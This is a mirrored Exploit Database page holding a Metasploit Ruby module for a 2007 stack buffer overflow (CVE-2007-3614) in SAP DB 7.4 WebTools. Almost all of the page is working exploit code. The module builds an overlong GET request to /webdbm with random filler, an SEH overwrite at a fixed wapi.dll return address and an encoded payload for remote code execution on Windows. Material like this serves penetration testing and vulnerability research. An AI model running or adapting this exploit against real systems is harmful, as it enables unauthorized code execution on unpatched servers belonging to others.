SAP DB 7.4 – WebTools Buffer Overflow (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2010-07-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16758/

• ##
  # $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
  				By sending an overly long GET request, it may be possible for
  				an attacker to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9842 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-3614' ],
  					[ 'OSVDB', '37838' ],
  					[ 'BID', '24773' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 850,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'EncoderType'=> Msf::Encoder::Type::AlphanumUpper,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ECX',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
  				],
  			'DisclosureDate' => 'Jul 5 2007',
  			'DefaultTarget'=> 0))
  
  		register_options( [ Opt::RPORT(9999) ], self.class )
  	end
  
  	def exploit
  
  		filler = rand_text_alphanumeric(20774)
  		seh = generate_seh_payload(target.ret)
  
  		sploit = filler + seh + rand_text_alphanumeric(3000)
  
  		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
  
  		res = send_request_raw(
  			{
  				'uri' => '/webdbm',
  				'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
  			}, 5)
  
  		handler
  
  	end
  
  end